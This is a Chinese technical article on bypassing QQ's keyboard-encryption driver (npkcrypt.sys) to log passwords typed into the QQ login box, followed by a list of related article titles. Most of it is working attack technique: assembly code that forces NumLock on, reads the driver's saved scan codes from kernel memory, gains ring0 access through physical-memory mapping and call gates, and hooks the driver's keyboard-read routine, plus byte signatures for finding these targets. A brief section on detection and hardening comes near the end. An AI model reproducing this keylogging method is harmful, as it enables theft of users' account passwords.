QQ 键盘加密保护分析

让我们现在开始进入正题, QQ 键盘加密保护主要依赖的是 QQ 目录下的 3 个文件,分别是 npkcrypt.sysnpkcusb.sysnpkcrypt.vxd ,其中起主要作用的是 npkcrypt.sys 。在以前的版本中,有些盗号木马会对这几个关键文件进行删除或改名,然后再修改密码框右边的红叉小金锁图标   为   以达到欺骗的目的,不过 QQ 版本升级之后会出现软键盘提示,告知有可能中木马病毒,就算只是进行文件的修改也会出现同样的问题,因为 QQ 每次运行都会对这些文件进行完整性校验,所以这种方法在目前来说是没多大作用的。当然,如果你有办法绕过校验的代码那就另当别论,不过我想这种方法还是不行的,该技术好象还在其他地方做了手脚,也许是键盘驱动,做了层加密保护(在下面我会有所提及的),我没有对此进行过多的研究,因为我研究的重点并不在这里。

对于一般的密码框,我们只需要用普通的键盘钩子就可以记录按键的信息,但是如果你用这种方法监视 QQ 密码框那你是不会得到正确结果的,图 1 为我在 QQ 密码框中敲下“ abcdBC$456 ”时,普通的键盘程序记录的信息:

图 1  普通键盘记录程序记录的 QQ 密码

可以看到键盘钩子没什么作用,当你把焦点移到其他地方之后又可以正确记录按键的信息了,从这里可以看出, QQ 键盘加密保护是在密码框获得焦点之后才启动 的。我试着用 spy++ 来监视密码框的 Windows 消息,当鼠标悬浮在密码框之上时,会有 WM_TIMER 消息,一旦获得焦点之后,就没法捕捉到任何的消息了。最后的一个消息为 WM_SETFOCUS ,显然是进行了处理。

网上曾有人在以前的版本中通过用 spy++ 捕获 WM_GETTEXT 消息即可获知 QQ 密码,但在现在的版本里是不行了的。

无奈之下,我用 win32Dasm (或者其他静态反汇编软件)打开了 npkcrypt.sys 进行分析(注:由于版本的不同, npkcrypt.sys 文件也有所变动,我只以 QQ 2007 Beta1 版本的 npkcrypt.sys 进行分析,文件大小为 25,074  字节),在 npkcrypt.sys 的引入表中可以发现引用了 HalGetInterruptVector 函数,该函数的目的是获取中断向量号的,同时还发现 HalBeginSystemInterrupt 、 HalEndSystemInterrupt 等与中断有关的函数,由此我们可以猜测该保护系统一定是在中断上做了手脚了,在键盘钩子获取信息前就已经做了处理。

我们现在已经知道了两点:

1 )密码框获得焦点保护系统才启动,失去焦点后又还原;

2 )保护系统是在中断上做手脚的。

于是我打开 SoftICE ,在密码框获取焦点之前查看了 IDT 表(中断描述符表),发现中断服务程序地址都是是 80****** 开头的,当 QQ 密码框后我在调出 SoftICE 查看 IDT 表,发现某一号中断(我本机是 0x93 )的中断服务程序地址改为了 F8****** ,而且 Owner 为 npkcrypt .text+0191 ,也就是说中断服务程序的地址为 npkcrypt 模块 .text 节偏移 0x191 开始的位置,实际上 npkcrypt 模块在系统启动的时候就已经加载了,而中断服务地址是在获得焦点后才修改的,失去焦点后又还原了。

在我用 ZwQuerySystemInformation 函数列举系统所有模块时证明了我的说法,如图 2

图 2  系统模块列举

为了方便,我依然使用 win32Dasm 阅读静态反汇编代码, .text 节的 Offset 为 0x2C0 ,则入口点为 0x2C0+0x191=0x451 ,即文件偏移 0x451 处为中断服务程序的入口,或者用 SoftICE 看中断服务地址的末三位也是一样的,因为大的模块一般是以页(页大小 =4KB=0x1000B )为粒度进行映射的,所以文件偏移 0x451 也即模块首地址 0x*****000 偏移 0x451 。通过阅读反汇编代码以及用 SoftICE 下断点测试,大体上了解了该中断服务程序的作用(如图 3 ),简单点说就是将键盘的扫描码读出来然后再模拟键盘输入送一个 00 错误数据给键盘

在这里有必要提一下:

与键盘相关的最重要的硬件有两个:一个是   intel 8042  芯片,位于主板上, CPU  通过   IO  端口直接和这个芯片通信,获得按键的扫描码或者发送各种键盘命令;另一个是   intel 8048  芯片或者其兼容芯片,位于键盘中,这个芯片主要作用是从键盘的硬件中得到被按的键所产生的扫描码,与   i8042  通信,控制键盘本身。

CPU  通过读写端口,可以直接把   i8042  中的数据读入到   CPU  的寄存器中,或者把   CPU  寄存器中的数据写入   i8042  中。

直接打交道的是 8042 芯片,一个 0x60  数据端口和一个 0x64  命令端口。

中断服务入口

修改段寄存器值

Push eax

Call 000121CC

恢复寄存器值

中断服务结束

调用原中断服务程序

初始化,控制转移

读 0x60 端口扫描码

扫描码处理

模拟键盘输入向 0x60 端口送 00 错误数据

##### 局部变量 ####

ebp-3CH: ASCII 码

ebp-08H:  扫描码

push ebp

mov ebp,esp

push ecx

in al,60

mov byte ptr[ebp-01],al

mov al,byte ptr[ebp-01]

leave

ret

NumLock 健打开?

保存扫描码到全局变量 49A 0H

############  全局变量   #########################

45D0H :  中断向量号

4740H : 按键状态指针 ,1 号元素为 NumLock 按键状态,为 1 则打开, 0 关闭

49A 0H :  键盘扫描码

49A 1H : E0H or 00H (EOH 表示扩展键, 00H 表示普通键节 )

图 3 QQ 密码保护的关键技术流程

3.QQ 键盘加密保护破解

从图 3 上看,我们可以从几个地方下手进行破解:

3.1 在该中断服务入口地方将其跳转到原中断服务程序

经本人测试,这样虽可以绕开该中断服务,但还是获取不了正确的按键信息,可能是在键盘驱动里做了手脚,当输入数字或者小写字母的时候,键盘钩子总是得到加密后的数字或小写字母(其加密方法就是简单的代替密码 ),其他符号包括大写字母都能正确获得,而且每次打开新的 QQ 登陆窗口总会随机选择一套新的密文表,这时候如果输入的是正确的密码那登陆是失败的,但是如果输入的密码映射成密文后刚好是正确的密码那登陆就是成功的,也就是说 QQ 密码框认可的密码为加密后的密码 。于是用 SoftICE 在 0x60 端口地方下断点,发现在密码框中断到的地址和不在密码框中断到的地址不一样,很可能是就是在键盘驱动里做了修改,所以上面提到过修改 npkcrypt.sys 文件没多大作用,就是因为还有这层保护。如果在如图 3 所示的全局变量中,在 0x45D0 将中断向量号修改为其他系统保留的,来一个乾坤大挪移也是一样的效果。这种方法本文没有深入研究,事实上相比之下后几种方法来得更简单。以下是记录的几套密文表,有兴趣的可以研究下:

第一份数据:

明文: 0123456789   abcdefghijklmnopqrstuvwxyz

密文: 2513970684   cvkzguamldhetpsbyfrxinwojq

第二份数据:

明文: 0123456789   abcdefghijklmnopqrstuvwxyz

密文: 9374586012   jpgdbrqsuvlmnywafckzehotix

第三份数据:

明文: 0123456789   abcdefghijklmnopqrstuvwxyz

密文: 1843765209   rjvlygsihpfwdeuctokzbmaqxn

3.2 直接读取该中断服务程序保留的扫描码值

如图 3 所示,当 NumLock 键处于打开状态的时候该中断服务程序会将键盘扫描码的值保存在 0x49A0 处(即 npkcrypt.sys 模块首地址偏移 0x49A0 )。

这种方法的关键之处在于 NumLock 键是否打开,如果是关闭状态那我们是没办法获取按键扫描码的。于是程序可以在初始化的时候将 NumLock 键打开,但如果中间 NumLock 键被关闭则后面的按键信息还是无法获取的,具体代码如下(由于本人是用 win32asm 写的测试程序,所以下面所有的参考代码均为 win32asm 代码):

; 如果键 NumLock 关闭则打开

invoke   GetKeyState,VK_NUMLOCK

and ax,00001h

.if ax == 0

invoke keybd_event,VK_NUMLOCK,0,0,0

invoke keybd_event,VK_NUMLOCK,0,KEYEVENTF_KEYUP,0

.endif

剩下的任务就是要读取 0x49A0 的扫描码了,这是个相对地址,要取得它的绝对地址有 2 种办法:

1 .用 ZwQuerySystemInformation 函数取得 npkcrypt.sys 模块的首地址,然后加上该相对地址;

2 .当焦点处于 QQ 密码框中时读取 IDT 表被修改的中断描述符的偏移量 (即中断服务程序的入口地址,因为该中断服务程序处于基地址为 0x00000000 的 ring0 级代码段中,所以偏移量就是入口地址),将其与 0xFFFFF000 相与后再加上该相对地址。计算出绝对地址后就可以读取该地址的值了,也就是想要获得的键盘扫描码。

到这里应该会有几个疑惑:

①       如果希望当用户按下键盘的时候就把扫描码取出来,那应该怎么做呢?

②       npkcrypt.sys 模块修改的是哪一号中断向量呢?应该怎么获取该中断向量号?(注:这里提到的是保护模式下的中断向量而非实模式下)

③       前面所谈到的地址都是内核地址,那应该怎么进行读写呢?

④       对于 QQ 的版本不同, npkcrypt.sys 也有所变动,如何知道扫描码保存在哪里呢?

针对这几个疑惑,我们可以这样解决这些问题:

疑惑①: 最开始可能会想到用监视内存的方法,只要扫描码的值发生改变就获取一次,这种方法可行但麻烦而且不稳定,我们可以在自己的程序里加个时钟消息,每隔 0.5 秒就读取一次,或者用循环等等,但本文不赞同这种主动型 的方法。我们更希望的是用户敲下一次键盘我们就读取一次的被动型 的方法,没错,这就是键盘钩子,但与普通的键盘钩子不同,我们不需要键盘钩子处理过程中保存键盘信息的参数,因为这个参数是被处理过了的,我们只需要键盘被按下时的消息 ,用户按下键盘时,我们会收到 WM_KEYDOWN 消息,然后在这时候读取扫描码就可以了。

疑惑②: 图 3 中 0x45D0 处保存的是要修改的中断向量号,我们可以直接读取该值,或者也可以用 npkcrypt.sys 提供的方法,通过反汇编查找调用 HalGetInterruptVector 函数的地方就可以模仿 npkcrypt.sys 取得中断向量号的方法,如下:

mov ebx,1

lea   eax,Affinity

push eax

lea   edi,Irql

push edi

push ebx

push ebx

push ebx

push ebx

call @HalGetInterruptVector

; 等价于 invoke HalGetInterruptVector,1,1,1,1,addr Irql,addr Affinity   后 2 个参数在这里没作用,是调用该函数后返回的值

.if eax > 0FFh

sub eax,100h

.endif

.if eax == 0

lea eax,Affinity

push eax

push edi

push ebx

push ebx

push 0

push ebx

call @HalGetInterruptVector

; 等价于 invoke HalGetInterruptVector,1,0,1,1,addr Irql,addr Affinity

.if eax > 0FFh

sub eax,100h

.endif

.endif

mov intNum,al     ;al 即该中断向量号

由于 HalGetInterruptVector 函数是内核函数 ,所以我们需要在 ring0 下才能执行,具体会在疑惑③中提到。

疑惑③: 如何读写内核地址?首先当前计算机的登陆用户帐号必须是计算机管理员 ,否则你将很难做到这一切,除非你有什么方法提权或者什么突破系统限制。

当使用计算机管理员账号登陆时,我们有 2 个办法 :

⑴ Ring3 下直接将需要的物理内存 //Device//PhysicalMemory 映射到程序空间,只能以读的方式映射,因为只有读 //Device//PhysicalMemory 的权限;

⑵ 进入 Ring0 ,方法也有 2 个,一个是用驱动的方法,另一个是非驱动通过在 //Device//PhysicalMemory 添加写的权限然后在 GDT 表添加一个调用门或 IDT 表添加一个中断门进入 Ring0 。

因为方法⑴的前提是我们必须知道需要映射的是哪一部分物理内存,而且只有读的权限,所以一般我们会选择进入 Ring0 的方法,而在本人的测试中,驱动的方法好象有内存保护等一些限制,所以本文使用非驱动的方法,但在 Vista 操作系统中是没办法使用了,因为限制了对 //Device//PhysicalMemory 的访问。进入 Ring0 后我们就可以为所欲为了,内核函数也可以调用,但要使用这些内核函数还需要用 ZwQuerySystemInformation 函数取得 hal.dll ntoskrnl.exe (在一些操作系统中 ntkrnlpa.exe 替代了 ntoskrnl.exe )等系统模块的首地址,再找到指定函数的偏移地址相加后即可调用

疑惑④: 由于 QQ 最近几个版本都没有更新 npkcrypt.sys ,如果只是监视最近几个版本的密码,用固定地址就可以了,但如果想做得完善一点,兼容以前的一些版本,可以用搜索特征码的方法,保存扫描码地址特征码为 0xA2F8458A ,可以打开 npkcrypt.sys 文件或者在内存中直接搜索该特征码,紧接着该特征码后的地址即保存扫描码的地址,那这段特征码是怎么来的呢,其来自于下面的汇编代码:

;8A45F8          mov al,byte ptr[ebp-08]   ; ebp-08 是保存扫描码的局部变量,看图 3

;A2########   mov byte ptr[########],al   ;######## 为保存扫描码的全局变量

3.3 Hook 中断服务程序的关键地方

在图 3 中可以看到一段 npkcrypt.sys 读取键盘数据的程序,它是一个子程序,在 npkcrypt.sys 中几乎所有需要读键盘数据的地方都是调用该子程序完成的。所以我们可以想办法在该子程序开始地方(文件偏移 0x3474 )跳转到我们的处理程序中,处理完后再返回,如果你想直接进行修改那是要很高难度的,因为没有多少空闲的地方写入你的代码 。这样我们就没有 NumLock 是否打开的限制了,我们只需要将扫描码读取出来保存在我们希望的地方再返回就可以了,但要记住在程序关闭时要还原原程序,程序运行时再修改。由于该中断服务程序是在 Ring0 代码段中执行的,所以我们需要申请一片内核空间来存放我们的 Hook 处理程序,在 Ring0 下可以调用 ExAllocatePool 和 ExFreePool 函数来申请和释放内核内存。

Hook 处理程序如下:

; 该函数为替换中断服务程序的某个关键函数

ReplaceReadPassCode proc

push ebp

mov ebp,esp

push ecx

in al,60h

mov byte ptr[ebp-01h],al

mov al,byte ptr[ebp-01h]

; 前面照搬原程序的代码

mov ebx,$     ;$ 只是个标记,在复制这段代码到内核内存时要替换为 Data 处的地址

.if al == 0 || al == 0FAH

leave

ret

.endif

.if al == 0E0H

mov byte ptr[ebx-2],0

mov byte ptr[ebx-1],al

.else

.if byte ptr[ebx-2] != 0 && byte ptr[ebx-1] == 0E0H

mov byte ptr[ebx-1],0

.endif

mov byte ptr[ebx-2],al

.endif

leave

ret

Data:

int 3  ; 保存扫描码     ; 占 2 个字节的位置来保存扫描码

int 3  ; 保存扩展码

ReplaceReadPassCode endp

ReplaceReadPassCodeLen = $ - ReplaceReadPassCode

Hook 的替换还原程序:

mov eax,PHookSysMem      ; 替换

sub eax,HookAbAddr

sub eax,5

mov edi,HookMapAddr

mov byte ptr[edi],0E9H          ;jmp 远跳的机器码

mov dword ptr[edi+1],eax      ; 相对地址,可以跳到 ReplaceReadPassCode 处执行

;----------------------------------------------------------------

;       55          push ebp     ; 还原 npkcrypt 程序

;       8BEC       mov ebp,esp

;       51          push ecx

;       E460        in al,60

;       …………

mov edi,HookMapAddr

mov byte ptr[edi],055H

mov dword ptr[edi+1],0E451EC8BH

Hook 成功之后我们只需要读取 ReplaceReadPassCode 程序末尾 2 个字节的数据 就可以取得我们想要的扫描码了,如果不想每次都在 Ring0 下读取,那可以把 MmGetPhysicalAddress 函数取得 Hook 处理程序的物理地址再映射入程序的空间,这样方便读写。

同疑惑④一样,如果不想用硬性地址,可以搜索特征码来查找需要 Hook 的地址,读键盘扫描码子程序特征码为 0x   8860E451 。以下是该特征码的汇编代码:

;55          push ebp

;8BEC       mov ebp,esp

;51                push ecx

;E460              in al,60

;8845FF          mov byte ptr[ebp-01],al

当我们找到该特征码后,将该特征码所在内存地址减去 3 就可以得到读键盘扫描码子程序的首地址了。

下面让大家看下我的测试程序的效果(如图 4 ),当我们在 QQ 密码框中输入“ abcdBC$456 ” 时:

图 4 QQ 密码实际截获效果

4. 检测及防范思路

安全是没有绝对的,我们能做到的只是尽可能的防范,以下是本文针对此问题想到的几点安全措施。

4.1 检测方法

对 npkcrypt.sys 内存模块进行校验,如果校验错误那很有可能是 npkcrypt.sys 内存模块被修改过了。

4.2 防范方法

1)          将 npkcrypt.sys 文件关键代码进行加密处理,当要加载进内存时再进行解密,这会加大分析的难度,而且由于只需每次开机加载时执行一次解密,所以开销少,易操作。

2)          一些重要的数据保存的时候应尽量隐蔽,或者每执行完一次中断服务程序应该将其清 0 ,如图 3 可以清晰地看到扫描码保存在了某一个全局变量中,而且中断服务程序执行完后并没有对其处理,所以我们可以不需任何的修改,直接读取该全局变量即可以达到目的,也就是我上面提到的破解方法二。

3)          将 npkcrypt.sys 内存模块的关键代码放到禁止写操作的保护页中,可以防止对虚拟内存的修改。

4)          Hook IDT 1 号中断,即调试异常处理程序,监视每一条执行指令所在的内存地址,如果超出 npkcrypt.sys 内存模块的范围则将其还原,这种方法安全系数较高,但难度系数也高,而且也需要较大的开销。

上面的方法都只能加大被破解的难度,要从根本上的防治,目前来看还是比较难的,所以说安全是没有绝对的。

QQ 键盘加密保护分析相关推荐

  1. 如何破解QQ键盘加密技术?

    今天升级QQ,发现登陆界面的软键盘没有了,取而代之的是一个带金锁图标的密码框.试了两个键盘记录工具,原理分别是GetAsyncKeyState和键盘类过滤驱动,发现无效,恩,有点意思,正好用来打发时间 ...

  2. 深入分析QQ键盘保护技术

    QQ键盘加密保护分析 让我们现在开始进入正题,QQ键盘加密保护主要依赖的是QQ目录下的3个文件,分别是npkcrypt.sys.npkcusb.sys和npkcrypt.vxd,其中起主要作用的是np ...

  3. 突破QQ2009的nprotect键盘加密技术

    近段时间,腾迅公司一直在吹牛他们如何保护QQ用户的帐号和密码安全,Nprotect键盘加密技术多么强大,由于鄙人近期要做一个密码安全保护控件,就仔细分析了QQ2009的密码保护功能框,结果发现QQ20 ...

  4. php源代码保护——PHP加密方案分析解密还原

    前言 php是一种解释型脚本语言. 与编译型语言不同,php源代码不是直接翻译成机器语言.而是翻译成中间代码(OPCODE) ,再由解释器(ZEND引擎)对中间代码进行解释运行 . 在php源代码的保 ...

  5. 【网络安全】php源代码保护——PHP加密方案分析解密还原

    前言 php是一种解释型脚本语言.与编译型语言不同,php源代码不是直接翻译成机器语言.而是翻译成中间代码(OPCODE) ,再由解释器(ZEND引擎)对中间代码进行解释运行 . 在php源代码的保护 ...

  6. 解决 QQ2006 键盘加密造成的系统当机故障

    该死的 QQ2006 键盘加密功能给我带来了很多的不便,为了保证我的系统和虚拟机能正常运行,我不得不一直使用 QQ2006 Beta3 ,并且在每次启动前必须把自动下载的升级程序删除才能继续正常使用 ...

  7. 研发源代码防泄密加密软件分析

    目前很多企业都拥有自己的研发机构,其研发成果往往体现在源代码和技术文档方面,这些核心机密,如何防止研发参与人员泄密,如何防止核心成员把研究成果带走另立山头,或者提供给竞争对手,是一个很现实的一个问题. ...

  8. .NET 产品版权保护方案 (.NET源码加密保护)

    一.   前言 大家好,我是康世杰,大家可以叫我Jason. 我和大家一样,都是搞技术出身,也未当过讲师,所以口材有限,如果讲得不好之处,还希望大家多多海含,谢谢. 今天是我们第一次见面,能认识你们, ...

  9. 源代码加密软件类型分析

    随着计算机和网络技术的普及发展,公司和企业的办公方式和业务流发生了翻天覆地的变化. 全世界有60%的人主要从事与信息的生成.加工和存储以及相关技术的服务性工作.大量数据信息的创建.存储.传输以及共享方 ...

最新文章

  1. mysql恢复数据的步骤_MySQL备份恢复数据的一般步骤
  2. 进阶学习(3.3) Abstract Factory Pattern 抽象工厂模式
  3. reactjs Fragment的作用
  4. 4.1.3 OS之文件目录目录结构(单级-两级-多级-无环图)、索引节点FCB瘦身
  5. 多线程并发之原子性(六)
  6. python附件发送到邮箱_python – 如何发送电子邮件附件?
  7. Java-java.util.concurrent.LinkedBlockingQueue
  8. php md5校验工具下载,md5校验工具下载_md5校验工具下载「最新|免费」-太平洋下载中心...
  9. 【机器学习】一文理解BP神经网络 附代码
  10. Unity2017安装
  11. 理解DCT与DST【一】:离散傅里叶变换
  12. 黑灰白箱测试+Ubuntu wireshark wifibluetooth
  13. ipfs add命令
  14. 【总结】研究生数学建模优秀论文——面向康复工程的脑电信号分析和判别模型
  15. 法学行政法论文选题有哪些?
  16. Hyperledger Fabric网络节点架构
  17. ADNI以及study design简介
  18. 《不可思议的年代》读书笔记
  19. 做一个有温度有条理的表达者
  20. PVCBOT【14号A版】机械狗--四足爬行机器人

热门文章

  1. TFT LCD屏接口芯片-通达LT7381(SSD1963)
  2. 解决IE浏览器不支持es6语法Promise
  3. selenium实现高校班级打卡-石墨文档每日一报自动化
  4. 最新的服务器cpu有国产的吗,浪潮发布国产飞腾CPU服务器 已达业界主流水平
  5. yum linux gcc安装包下载,linux下安装yum及gcc
  6. 工作站 桌面 服务器,图形工作站也虚拟化,立即让你的工作站也可以远程访问
  7. #1752. 聂小倩
  8. 【QT】QObject简介
  9. I.MX6ULL之LCD显示
  10. 【openGauss】Oracle到postgresql的字符集名称映射表